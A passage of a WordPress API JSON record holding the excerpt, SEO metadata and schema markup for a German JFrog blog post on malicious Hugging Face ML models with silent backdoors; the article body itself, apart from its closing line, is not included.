href=\"https:\/\/research.jfrog.com\/\">Forschungswebsite<\/a> und auf X unter <a href=\"https:\/\/twitter.com\/JFrogSecurity\">@JFrogSecurity<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Im Bereich der KI-Zusammenarbeit ist Hugging Face f\u00fchrend. Aber k\u00f6nnte es auch Ziel modellbasierter Angriffe sein? Aktuelle Erkenntnisse von JFrog deuten auf eine besorgniserregende M\u00f6glichkeit hin, was einen genaueren Blick auf die Sicherheit der Plattform erfordert und eine neue \u00c4ra der Vorsicht in der KI-Forschung einl\u00e4utet. Die Diskussion \u00fcber die Sicherheit von KI-Machine-Learning-Modellen (ML) ist &hellip;<\/p>\n","protected":false},"author":798,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[9248,10157,9246],"tags":[10852,11458,10853,11466,10348],"class_list":["post-174817","post","type-post","status-publish","format-standard","hentry","category-plattform","category-sicherheit-und-devsecops","category-xray-de","tag-ai-de","tag-hugging-face","tag-machine-learning-de","tag-malicious-models","tag-security-research-de"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v27.2 (Yoast SEO v28.6) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>Untersuchung b\u00f6sartigerML-Modelle von Hugging Face mit Silent Backdoor<\/title>\n<meta name=\"description\" content=\"Ist Hugging Face das Ziel modellbasierter Angriffe? Hier finden Sie eine ausf\u00fchrliche Erkl\u00e4rung des Angriffsmechanismus und erfahren, was erforderlich ist, um echte Bedrohungen zu erkennen &gt;\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/posts\/174817\" \/>\n<meta property=\"og:locale\" content=\"de_DE\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Data Scientists im Visier b\u00f6sartiger ML-Modelle von Hugging Face mit Silent Backdoor\" \/>\n<meta property=\"og:description\" content=\"Ist Hugging Face das Ziel modellbasierter Angriffe? Hier finden Sie eine ausf\u00fchrliche Erkl\u00e4rung des Angriffsmechanismus und erfahren, was erforderlich ist, um echte Bedrohungen zu erkennen &gt;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/jfrog.com\/de\/blog\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\/\" \/>\n<meta property=\"og:site_name\" content=\"JFrog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/artifrog\" \/>\n<meta property=\"article:published_time\" content=\"2024-02-24T16:10:10+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-09-24T07:26:15+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2024\/02\/26220039\/Malicious-Hugging-Face-ML-Models-1200x630-1.png\" \/>\n<meta name=\"author\" content=\"elig@jfrog.com\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@jfrog\" \/>\n<meta name=\"twitter:site\" content=\"@jfrog\" \/>\n<meta name=\"twitter:label1\" content=\"Verfasst von\" \/>\n\t<meta name=\"twitter:data1\" content=\"elig@jfrog.com\" \/>\n\t<meta name=\"twitter:label2\" content=\"Gesch\u00e4tzte Lesezeit\" \/>\n\t<meta name=\"twitter:data2\" content=\"13\u00a0Minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/jfrog.com\\\/de\\\/blog\\\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/jfrog.com\\\/de\\\/blog\\\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\\\/\"},\"author\":{\"name\":\"elig@jfrog.com\",\"@id\":\"https:\\\/\\\/jfrog.com\\\/de\\\/#\\\/schema\\\/person\\\/5a263042bdbff128afd513082844d177\"},\"headline\":\"Data Scientists im Visier b\u00f6sartiger ML-Modelle von Hugging Face mit Silent Backdoor\",\"datePublished\":\"2024-02-24T16:10:10+00:00\",\"dateModified\":\"2026-09-24T07:26:15+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/jfrog.com\\\/de\\\/blog\\\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\\\/\"},\"wordCount\":2453,\"publisher\":{\"@id\":\"https:\\\/\\\/jfrog.com\\\/de\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/jfrog.com\\\/de\\\/blog\\\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/jfrog.com\\\/wp-content\\\/uploads\\\/2024\\\/02\\\/Malicious-Hugging-Face-ML-Models-863x300-1.png\",\"keywords\":[\"AI\",\"Hugging Face\",\"machine learning\",\"Malicious Models\",\"security-research\"],\"articleSection\":[\"Plattform\",\"Sicherheit und DevSecOps\",\"Xray\"],\"inLanguage\":\"de\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/jfrog.com\\\/de\\\/blog\\\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\\\/\",\"url\":\"https:\\\/\\\/jfrog.com\\\/de\\\/blog\\\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\\\/\",\"name\":\"Untersuchung b\u00f6sartigerML-Modelle von Hugging Face mit Silent Backdoor\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/jfrog.com\\\/de\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/jfrog.com\\\/de\\\/blog\\\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/jfrog.com\\\/de\\\/blog\\\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/jfrog.com\\\/wp-content\\\/uploads\\\/2024\\\/02\\\/Malicious-Hugging-Face-ML-Models-863x300-1.png\",\"datePublished\":\"2024-02-24T16:10:10+00:00\",\"dateModified\":\"2026-09-24T07:26:15+00:00\",\"description\":\"Ist Hugging Face das Ziel modellbasierter Angriffe? Hier finden Sie eine ausf\u00fchrliche Erkl\u00e4rung des Angriffsmechanismus und erfahren, was erforderlich ist, um echte Bedrohungen zu erkennen >\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/jfrog.com\\\/de\\\/blog\\\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\\\/#breadcrumb\"},\"inLanguage\":\"de\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/jfrog.com\\\/de\\\/blog\\\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\\\/\\\/jfrog.com\\\/de\\\/blog\\\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\\\/#primaryimage\",\"url\":\"https:\\\/\\\/jfrog.com\\\/wp-content\\\/uploads\\\/2024\\\/02\\\/Malicious-Hugging-Face-ML-Models-863x300-1.png\",\"contentUrl\":\"https:\\\/\\\/jfrog.com\\\/wp-content\\\/uploads\\\/2024\\\/02\\\/Malicious-Hugging-Face-ML-Models-863x300-1.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/jfrog.com\\\/de\\\/blog\\\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/jfrog.com\\\/de\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Data Scientists im Visier b\u00f6sartiger ML-Modelle von Hugging Face mit Silent Backdoor\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/jfrog.com\\\/de\\\/#website\",\"url\":\"https:\\\/\\\/jfrog.com\\\/de\\\/\",\"name\":\"JFrog\",\"description\":\"Deliver Trusted Software Releases at Speed and Scale\",\"publisher\":{\"@id\":\"https:\\\/\\\/jfrog.com\\\/de\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/jfrog.com\\\/de\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"de\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/jfrog.com\\\/de\\\/#organization\",\"name\":\"JFrog\",\"url\":\"https:\\\/\\\/jfrog.com\\\/de\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\\\/\\\/jfrog.com\\\/de\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/speedmedia2.jfrog.com\\\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\\\/jfrog.com\\\/wp-content\\\/uploads\\\/2025\\\/05\\\/Logo.svg\",\"contentUrl\":\"https:\\\/\\\/speedmedia2.jfrog.com\\\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\\\/jfrog.com\\\/wp-content\\\/uploads\\\/2025\\\/05\\\/Logo.svg\",\"width\":74,\"height\":73,\"caption\":\"JFrog\"},\"image\":{\"@id\":\"https:\\\/\\\/jfrog.com\\\/de\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/artifrog\",\"https:\\\/\\\/x.com\\\/jfrog\",\"https:\\\/\\\/www.linkedin.com\\\/company\\\/455737\",\"https:\\\/\\\/www.youtube.com\\\/channel\\\/UCh2hNg76zo3d1qQqTWIQxDg\",\"https:\\\/\\\/www.wikidata.org\\\/wiki\\\/Q98608948\"],\"description\":\"We set out on our Liquid Software journey in 2008, with the mission to transform the way enterprises manage and release software updates. The world expects software to update continuously, securely, non-intrusively and without user intervention. This hyper-connected experience can only be enabled by automation with an end-to-end DevOps platform and a binary-centric focus. With this in mind, we\u2019ve developed the JFrog Platform, ushering in a new era of DevOps and DevSecOps standards that power continuous updates. More than a decade after our founding, with thousands of customers and millions of users globally, JFrog has become the \u201cDatabase of DevOps\u201d and the de-facto standard in release and update management.\",\"legalName\":\"Jfrog, Inc.\",\"numberOfEmployees\":{\"@type\":\"QuantitativeValue\",\"minValue\":\"1001\",\"maxValue\":\"5000\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/jfrog.com\\\/de\\\/#\\\/schema\\\/person\\\/5a263042bdbff128afd513082844d177\",\"name\":\"elig@jfrog.com\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/e072835edab3f2fdfec698e79e1f03761b0578c3b9688bf7f09f18eedf6a0370?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/e072835edab3f2fdfec698e79e1f03761b0578c3b9688bf7f09f18eedf6a0370?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/e072835edab3f2fdfec698e79e1f03761b0578c3b9688bf7f09f18eedf6a0370?s=96&d=mm&r=g\",\"caption\":\"elig@jfrog.com\"}}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Untersuchung b\u00f6sartigerML-Modelle von Hugging Face mit Silent Backdoor","description":"Ist Hugging Face das Ziel modellbasierter Angriffe? Hier finden Sie eine ausf\u00fchrliche Erkl\u00e4rung des Angriffsmechanismus und erfahren, was erforderlich ist, um echte Bedrohungen zu erkennen >","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/posts\/174817","og_locale":"de_DE","og_type":"article","og_title":"Data Scientists im Visier b\u00f6sartiger ML-Modelle von Hugging Face mit Silent Backdoor","og_description":"Ist Hugging Face das Ziel modellbasierter Angriffe? Hier finden Sie eine ausf\u00fchrliche Erkl\u00e4rung des Angriffsmechanismus und erfahren, was erforderlich ist, um echte Bedrohungen zu erkennen >","og_url":"https:\/\/jfrog.com\/de\/blog\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\/","og_site_name":"JFrog","article_publisher":"https:\/\/www.facebook.com\/artifrog","article_published_time":"2024-02-24T16:10:10+00:00","article_modified_time":"2026-09-24T07:26:15+00:00","og_image":[{"url":"https:\/\/media.jfrog.com\/wp-content\/uploads\/2024\/02\/26220039\/Malicious-Hugging-Face-ML-Models-1200x630-1.png","type":"","width":"","height":""}],"author":"elig@jfrog.com","twitter_card":"summary_large_image","twitter_creator":"@jfrog","twitter_site":"@jfrog","twitter_misc":{"Verfasst von":"elig@jfrog.com","Gesch\u00e4tzte Lesezeit":"13\u00a0Minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/jfrog.com\/de\/blog\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\/#article","isPartOf":{"@id":"https:\/\/jfrog.com\/de\/blog\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\/"},"author":{"name":"elig@jfrog.com","@id":"https:\/\/jfrog.com\/de\/#\/schema\/person\/5a263042bdbff128afd513082844d177"},"headline":"Data Scientists im Visier b\u00f6sartiger ML-Modelle von Hugging Face mit Silent Backdoor","datePublished":"2024-02-24T16:10:10+00:00","dateModified":"2026-09-24T07:26:15+00:00","mainEntityOfPage":{"@id":"https:\/\/jfrog.com\/de\/blog\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\/"},"wordCount":2453,"publisher":{"@id":"https:\/\/jfrog.com\/de\/#organization"},"image":{"@id":"https:\/\/jfrog.com\/de\/blog\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\/#primaryimage"},"thumbnailUrl":"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/Malicious-Hugging-Face-ML-Models-863x300-1.png","keywords":["AI","Hugging Face","machine learning","Malicious Models","security-research"],"articleSection":["Plattform","Sicherheit und DevSecOps","Xray"],"inLanguage":"de"},{"@type":"WebPage","@id":"https:\/\/jfrog.com\/de\/blog\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\/","url":"https:\/\/jfrog.com\/de\/blog\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\/","name":"Untersuchung b\u00f6sartigerML-Modelle von Hugging Face mit Silent Backdoor","isPartOf":{"@id":"https:\/\/jfrog.com\/de\/#website"},"primaryImageOfPage":{"@id":"https:\/\/jfrog.com\/de\/blog\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\/#primaryimage"},"image":{"@id":"https:\/\/jfrog.com\/de\/blog\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\/#primaryimage"},"thumbnailUrl":"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/Malicious-Hugging-Face-ML-Models-863x300-1.png","datePublished":"2024-02-24T16:10:10+00:00","dateModified":"2026-09-24T07:26:15+00:00","description":"Ist Hugging Face das Ziel modellbasierter Angriffe? Hier finden Sie eine ausf\u00fchrliche Erkl\u00e4rung des Angriffsmechanismus und erfahren, was erforderlich ist, um echte Bedrohungen zu erkennen >","breadcrumb":{"@id":"https:\/\/jfrog.com\/de\/blog\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\/#breadcrumb"},"inLanguage":"de","potentialAction":[{"@type":"ReadAction","target":["https:\/\/jfrog.com\/de\/blog\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\/"]}]},{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/jfrog.com\/de\/blog\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\/#primaryimage","url":"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/Malicious-Hugging-Face-ML-Models-863x300-1.png","contentUrl":"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/Malicious-Hugging-Face-ML-Models-863x300-1.png"},{"@type":"BreadcrumbList","@id":"https:\/\/jfrog.com\/de\/blog\/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/jfrog.com\/de\/"},{"@type":"ListItem","position":2,"name":"Data Scientists im Visier b\u00f6sartiger ML-Modelle von Hugging Face mit Silent Backdoor"}]},{"@type":"WebSite","@id":"https:\/\/jfrog.com\/de\/#website","url":"https:\/\/jfrog.com\/de\/","name":"JFrog","description":"Deliver Trusted Software Releases at Speed and Scale","publisher":{"@id":"https:\/\/jfrog.com\/de\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/jfrog.com\/de\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"de"},{"@type":"Organization","@id":"https:\/\/jfrog.com\/de\/#organization","name":"JFrog","url":"https:\/\/jfrog.com\/de\/","logo":{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/jfrog.com\/de\/#\/schema\/logo\/image\/","url":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/jfrog.com\/wp-content\/uploads\/2025\/05\/Logo.svg","contentUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/jfrog.com\/wp-content\/uploads\/2025\/05\/Logo.svg","width":74,"height":73,"caption":"JFrog"},"image":{"@id":"https:\/\/jfrog.com\/de\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/artifrog","https:\/\/x.com\/jfrog","https:\/\/www.linkedin.com\/company\/455737","https:\/\/www.youtube.com\/channel\/UCh2hNg76zo3d1qQqTWIQxDg","https:\/\/www.wikidata.org\/wiki\/Q98608948"],"description":"We set out on our Liquid Software journey in 2008, with the mission to transform the way enterprises manage and release software updates. The world expects software to update continuously, securely, non-intrusively and without user intervention. This hyper-connected experience can only be enabled by automation with an end-to-end DevOps platform and a binary-centric focus. With this in mind, we\u2019ve developed the JFrog Platform, ushering in a new era of DevOps and DevSecOps standards that power continuous updates. More than a decade after our founding, with thousands of customers and millions of users globally, JFrog has become the \u201cDatabase of DevOps\u201d and the de-facto standard in release and update management.","legalName":"Jfrog, Inc.","numberOfEmployees":{"@type":"QuantitativeValue","minValue":"1001","maxValue":"5000"}},{"@type":"Person","@id":"https:\/\/jfrog.com\/de\/#\/schema\/person\/5a263042bdbff128afd513082844d177","name":"elig@jfrog.com","image":{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/secure.gravatar.com\/avatar\/e072835edab3f2fdfec698e79e1f03761b0578c3b9688bf7f09f18eedf6a0370?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/e072835edab3f2fdfec698e79e1f03761b0578c3b9688bf7f09f18eedf6a0370?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/e072835edab3f2fdfec698e79e1f03761b0578c3b9688bf7f09f18eedf6a0370?s=96&d=mm&r=g","caption":"elig@jfrog.com"}}]}},"_links":{"self":[{"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/posts\/174817","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/users\/798"}],"replies":[{"embeddable":true,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/comments?post=174817"}],"version-history":[{"count":0,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/posts\/174817\/revisions"}],"wp:attachment":[{"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/media?parent=174817"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/categories?post=174817"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jfrog.com\/de\/wp-json\/wp\/v2\/tags?post=174817"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}